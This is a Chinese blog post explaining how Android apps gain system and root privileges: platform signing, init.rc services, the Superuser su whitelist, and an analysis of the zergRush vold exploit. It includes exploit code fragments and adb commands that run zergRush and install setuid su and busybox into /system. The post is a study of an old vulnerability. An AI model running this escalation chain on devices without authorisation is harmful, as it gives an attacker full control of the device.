Android系统system用户权限和root权限的获取
在Android系统中,系统为每一个应用程序(apk)创建了一个用户和组。这个用户和组都是受限用户,不能访问系统的数据,只能访问自己的文件和目录,当然它也不能访问其他应用程序的数据。这样设计可以尽可能地保护应用程序的私有数据,增强系统的安全性和健壮性。
但是有一些应用程序是需要访问一些系统资源的。比如Setting程序,它需要访问WiFi,在系统中创建删除文件等等操作。怎样做到这一点儿呢?Android通过一定途径可以获得system权限。获得system用户权限,需要以下步骤:
1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行
3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。
一般情况下system用户可以在系统中创建和删除文件,访问设备等等。但是有些情况下system权限还是不够的。比如:设置网卡IP地址,ifconfig命令是需要root权限的。我可以很肯定的说,在Android下面应用程序是没有可能拿到root权限的。但是如果我的应用程序需要root权限怎么办呢?只能想办法绕般过去。就以我的问题为例,设置网卡IP地址,root权限下面命令为:
ifconfig eth0 192.168.1.188
在普通用户或者system用户权限下面这条命令是不起作用的,但是不会返回失败和异常,那么怎样实现这个功能呢(两种思路)。
1、系统启动的时候init进程创建一个后台进程,该进程处于root用户权限下面。用来监听系统中应用程序的请求(可以用socket实现),并代其完成。这样应用程序就可以执行root用户权限的任务了。
2、实现一个虚拟的设备,该设备的功能就是在内核态帮应用程序执行相应的命令。Linux内核态没有权限的问题了。肯定可以执行成功。
解决设置网卡IP地址问题时,选择是后者相对来说设计比较简单。
应用程序利用init.rc service获得root权限
想在android应用程序中动态mount一个NFS的系统,但是执行mount命令必须要root权限才可以。一般情况下,在Android的APK层是不能获得root权限的。
上一节提到实现由init启动的Service,来帮助Android应用程序执行root权限的命令或者实现一个虚拟设备,这个设备帮助Android应用程序执行root权限的命令。
本文将会选择第一种来解决Android应用程序mount NFS文件系统的问题。
在Android系统init.rc中定义很多Service,Init.rc中定义的Service将会被Init进程创建,这样将可以获得root权限。
A.首先定义一个执行mount的脚本,我把它位于/system/etc/mount_nfs.sh,定义如下:
3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
B.在init.rc中加入一个Service定义,定义如下:
1: service mount_nfs /system/etc/mount_nfs.sh
SystemProperties.set("ctl.start","mount_nfs");
E.最后在自己应用程序中,读取“init.svc.mount_nfs”Android系统Property,检查执行结果。代码如下:
3: mount_rt = SystemProperties.get("init.svc.mount_nfs","");
4: if(mount_rt != null && mount_rt.equals("stopped"))
13: Log.e(TAG,"Exception: " + ex.getMessage());
init进程维护一个service的队列,所以我们需要轮训来查询service的执行结果。
init.rc 中建立test1 test2 test3文件夹
mkdir /data/misc/test1 0770 root root
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
test1 目录的owner是root, group也是root
test2 目录的owner是wifi , group也是wifi
test3 目录的owner是system , group是misc (任何用户都属于group misc)
xxxx 服务可以访问 test1, test2, test3
见android_filesystem_config.h中定义AID_ROOT AID_SYSTEM AID_MISC等宏定义的权限
360等特殊系统是否可以考虑在AID_ROOT和AID_SYSTEM之间加一个权限和用户,增加新的哦property给360用?
管理root权限原理分析
这个白名单比较关键,是一个sqlite数据库文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite
File su = new File("/system/bin/su"); // 检测su文件是否存在,如果不存在则直接返回 if (!su.exists()) { Toast toast = Toast.makeText(this, "Unable to find
/system/bin/su.", Toast.LENGTH_LONG); toast.show(); return; }
//检测su文件的完整性,比较大小,太省事了吧 //如果大小一样,则认为su文件正确,直接返回了事。 if (su.length() == suStream.available()) { suStream.close(); return; }
// 如果检测到/system/bin/su 文件存在,但是不对头,则把自带的su先写到"/data/data/com.koushikdutta.superuser/su" // 再写到/system/bin/su。
byte[] bytes = new byte[suStream.available()]; DataInputStream dis = new DataInputStream(suStream); dis.readFully(bytes); FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su"); suOutStream.write(bytes); suOutStream.close(); Process process = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(process.getOutputStream()); os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n"); os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n"); os.writeBytes("busybox chown 0:0 /system/bin/su\n"); os.writeBytes("chmod 4755 /system/bin/su\n"); os.writeBytes("exit\n"); os.flush();
上面提到的su肯定是动过手脚的,有进程使用root权限,superuser是怎么知道的,看完su的代码明白了,关键是句:
sprintf(sysCmd, "am start -a android.intent.action.MAIN
-n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity
--ei uid %d --ei pid %d > /dev/null", g_puid, ppid);
if (system(sysCmd)) return executionFailure("am.");
原理是am命令,看了下am的用法,明白了:
在Android中,除了从界面上启动程序之外,还可以从命令行启动程序,使用的是命令行工具am启动的方法为
$ adb shell
$ su
# am start -n {包(package)名}/{包名}.{活动(activity)名称}
程序的入口类可以从每个应用的AndroidManifest.xml的文件中得到,以计算器(calculator)为例,它的
<manifest xmlns:android="http://schemas.android.com/apk/res/android" …
package="com.android.calculator2" …>…
由此计算器(calculator)的启动方法为:
# am start -n com.android.calculator2/com.android.calculator2.Calculator
一般情况希望,一个Android应用对应一个工程。值得注意的是,有一些工程具有多个活动(activity),而有一些应用使用一个工程。例如:在Android界面中,Music和Video是两个应用,但是它们使用的都是packages/apps/Music这一个工程。而在这个工程的AndroidManifest.xml文件中,有包含了不同的活动(activity)。
Music 和 Video(音乐和视频)的启动方法为:
# am start -n com.android.music/com.android.music.MusicBrowserActivity
# am start -n com.android.music/com.android.music.VideoBrowserActivity
# am start -n com.android.music/com.android.music.MediaPlaybackActivity
启动浏览器 :
am start -a android.intent.action.VIEW -d http://www.google.cn/
拨打电话 :
am start -a android.intent.action.CALL -d tel:10086
启动 google map直接定位到北京 :
am start -a android.intent.action.VIEW geo:0,0?q=beijing
usage: am [subcommand] [options](am工具的使用方法)
start an Activity: am start [-D] [-W] <INTENT>
-D: enable debugging
-W: wait for launch to complete
start a Service: am startservice <INTENT>
send a broadcast Intent: am broadcast <INTENT>
start an Instrumentation: am instrument [flags] <COMPONENT>
-r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
-e <NAME> <VALUE>: set argument <NAME> to <VALUE>
-p <FILE>: write profiling data to <FILE>
-w: wait for instrumentation to finish before returning
start profiling: am profile <PROCESS> start <FILE>
stop profiling: am profile <PROCESS> stop
<INTENT> specifications include these flags:
[-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] ...]
[-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
[--esn <EXTRA_KEY> ...]
[--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
[-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
[-n <COMPONENT>] [-f <FLAGS>]
[--grant-read-uri-permission] [--grant-write-uri-permission]
[--debug-log-resolution]
[--activity-brought-to-front] [--activity-clear-top]
[--activity-clear-when-task-reset] [--activity-exclude-from-recents]
[--activity-launched-from-history] [--activity-multiple-task]
[--activity-no-animation] [--activity-no-history]
[--activity-no-user-action] [--activity-previous-is-top]
[--activity-reorder-to-front] [--activity-reset-task-if-needed]
[--activity-single-top]
[--receiver-registered-only] [--receiver-replace-pending]
[<URI>]
还有个疑点,就是su怎么知道用户是允许root权限还是反对那?原来是上面提到的白名单起来作用,superuser把用户的选择放入 :
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite 数据库中,然后su进程再去读该数据库来判断是否允许。
static int checkWhitelist() { sqlite3 *db; int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL); if (!rc) { char *errorMessage; char query[1024]; sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid); struct whitelistCallInfo callInfo; callInfo.count = 0; callInfo.db = db; rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage); if (rc != SQLITE_OK) { sqlite3_close(db); return 0; } sqlite3_close(db); return callInfo.count; } sqlite3_close(db); return 0; }
一键root原理
转自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx 在 android的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。本来以为就没有办法在应用程序这一层改系统时间了,后来在网上搜了好久,知道这个目的还是可以达到的。 第一个方法简单点,不过需要在Android系统源码的环境下用make来编译: 1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。 2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行 3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。 第二个方法麻烦点,不过不用开虚拟机跑到源码环境下用make来编译: 1. 同上,加入android:sharedUserId="android.uid.system"这个属性。 2. 使用eclipse编译出apk文件,但是这个apk文件是不能用的。 3. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,首先找到密钥文件,在我的Android源码目录中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build\tools\signapk"下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。 这样最后得到的apk和第一个方法是一样的。 最后解释一下原理,首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。 只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。 这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。 最最后还说下,这个android:sharedUserId属性不只可以把apk放到系统进程中,也可以配置多个APK运行在一个进程中,这样可以共享数据,应该会很有用的。 signapk编译结束后在 android目录下/out/host/linux-x86/framework/signapk.jar |
https://github.com/revolutionary/zergRush/blob/master/zergRush.c
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh
明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码
1. /* run adbd in secure mode if ro.secure is set and
2. ** we are not in the emulator
4. property_get("ro.kernel.qemu", value, "");
5. if (strcmp(value, "1") != 0) {
6. property_get("ro.secure", value, "");
7. if (strcmp(value, "1") == 0) {
8. // don't run as root if ro.secure is set...
11. // ... except we allow running as root in userdebug builds if the
12. // service.adb.root property has been set by the "adb root" command
13. property_get("ro.debuggable", value, "");
14. if (strcmp(value, "1") == 0) {
15. property_get("service.adb.root", value, "");
16. if (strcmp(value, "1") == 0) {
下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh
改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了
用过在手机上用 ps 看一下,这个程序有是从 root 用户执行过来的。
然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr 的地址。
然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中
>> 删除 /data/local/tmp/crashlog 文件
>> 在 crashlog 中找到崩溃信息,找到 sp 寄存器地址。
等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。
写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。
find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了)
kill(logcat_pid, SIGKILL);
unlink(crashlog);
再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。
疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:
8. int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
11. strcpy(padding, "LORDZZZZzzzz");
13. memset(padding+12, 'Z', padding_sz);
14. printf("[*] Poping %d more zerglings\n", padding_sz);
18. memset(padding, 'Z', 12+padding_sz);
21. if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
22. die("[-] Error creating Nydus");
32. strcat(buf, s_stack_pivot_addr);
33. for(i=3; i < buffsz+1; i++)
39. bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
41. if(check_addr(bsh_addr) == -1) {
42. printf("[-] Colossus, we're doomed!\n");
50. printf("[*] Sending %d zerglings ...\n", n);
52. if ((n = write(sock, buf, n+1)) < 0)
53. die("[-] Nydus seems broken");
看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。
至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!
adb shell "cd /data/local/tmp/; rm *"
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
adb shell "/data/local/tmp/zergRush"
4.上传busybox、给busybox文件执行权限,以可以方式加载文件系统
adb push c:\busybox /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/busybox"
adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
adb shell "chown root.shell /system/xbin/busybox"
adb shell "chmod 04755 /system/xbin/busybox"
adb shell "/system/xbin/busybox --install -s /system/xbin"
adb shell "rm -rf /data/local/tmp/busybox"
adb shell "chown root.shell /system/bin/su"
adb shell "chmod 06755 /system/bin/su"
adb shell "rm /system/xbin/su"
adb shell "ln -s /system/bin/su /system/xbin/su"
adb push c:\superuser.apk /system/app/
adb shell "cd /data/local/tmp/; rm *"
总结:这篇转载的文章虽然上面提到的漏洞和方法只在较低的版本上能够运行成功,但是却是对Android安全和漏洞利用思路的一个启发和基础。
Android系统system用户权限和root权限的获取相关推荐
- Android系统权限和root权限的获取以及应用权限列表
Android权限说明 Android系统是运行在Linux内核上的,Android与Linux分别有自己的一套严格的安全及权限机制. 一.linux文件系统上的权限 -rwxr-x--x syste ...
- android apk 永久root,Android 实现永久性开启adb 的root权限
adb 的root 权限是在system/core/adb/adb.c 中控制.主要根据ro.secure 以及 ro.debuggable 等system property 来控制. 默认即档ro. ...
- adb为Android的root方法,Android 实现永久性开启adb 的root权限
adb 的root 权限是在system/core/adb/adb.c 中控制.主要根据ro.secure 以及 ro.debuggable 等system property 来控制. 默认即档ro. ...
- Android逆向第一步之开启root权限
Android逆向第一步之开启root权限 前言 最近看了一些Frida相关的文章,自己也想实际手动来几个逆向操作_. 恰巧手头有一款小米8的Android手机(PS:听说是最容易能拿到Root权限的 ...
- linux推出超级用户_linux添加root权限用户
方法一: 1.添加普通用户并设置密码 [root@centos6 ~]# useradd ggg [root@centos6 ~]# passwd ggg Changing password for ...
- vtigercrm中添加用户字段_linux笔记(一):linux添加用户并赋予root权限
最近开始学习linux,不定期把一些学习到的东西记录到这里,权当笔记! Linux添加用户并赋root权限 一.添加用户并设置密码: 1.添加一个普通用户 2.设置密码,当看到"passwd ...
- Linux创建用户并赋予Root权限
Linux创建用户并赋予Root权限 添加普通用户 [root@server ~]# useradd test //添加一个名为test的用户 [root@server ~]# passwd test ...
- linux用户如何回收root权限,linux添加root权限用户
方法一: 1.添加普通用户并设置密码 [root@centos6 ~]# useradd ggg [root@centos6 ~]# passwd ggg Changing password for ...
- 记录ubuntu建立新用户并赋予root权限
一.建立新用户 1. 登录root用户 su root 2. 创建新用户 sudo useradd -r -m -s /bin/bash 用户名 其中参数的意义如下: -r:建立系统账 ...
最新文章
- 网站建设需要遵守的三大原则!
- 【BZOJ1146】【CTSC2008】网络管理 [整体二分]
- 你该知道什么值得买 该有多活跃(核心数据)
- html一个div浮动在另一div上,css – 在另一个DIV的顶部浮动DIV
- zookeeper系列(九)zookeeper的会话详解
- 王兴针对“共同富裕”表态,称其根植于美团基因中
- kafka(五)服务器配置优化
- Python Imaging Library: ImagePalette Module(图像调色板模块)
- C语言实现单向链表、双向链表、循环链表
- Python100经典练习题,附答案
- VMware端口映射
- 计算机硬盘被配制成动态磁盘。在这种情况下无法进行重装?,动态磁盘转换为基本磁盘(完美解决方案)...
- 基于 Amazon SageMaker 利用 MONAI 处理医疗影像数据实践
- 【SDOI2008】Sue的小球
- android 长按保存图片,安卓机上base64图片无法在微信中长按保存?
- python的底层是c_Python的内存管理和垃圾回收机制:基于C语言源码底层深入剖析...
- 相关性扫描匹配CSM与分支限界加速
- Python-matplotlib:调整坐标轴位置、标签位置和标签方向,以及X轴刻度标签位置
- SVM分类,一对多;
- Apache整合Tomcat详解系列(三)Apache性能调优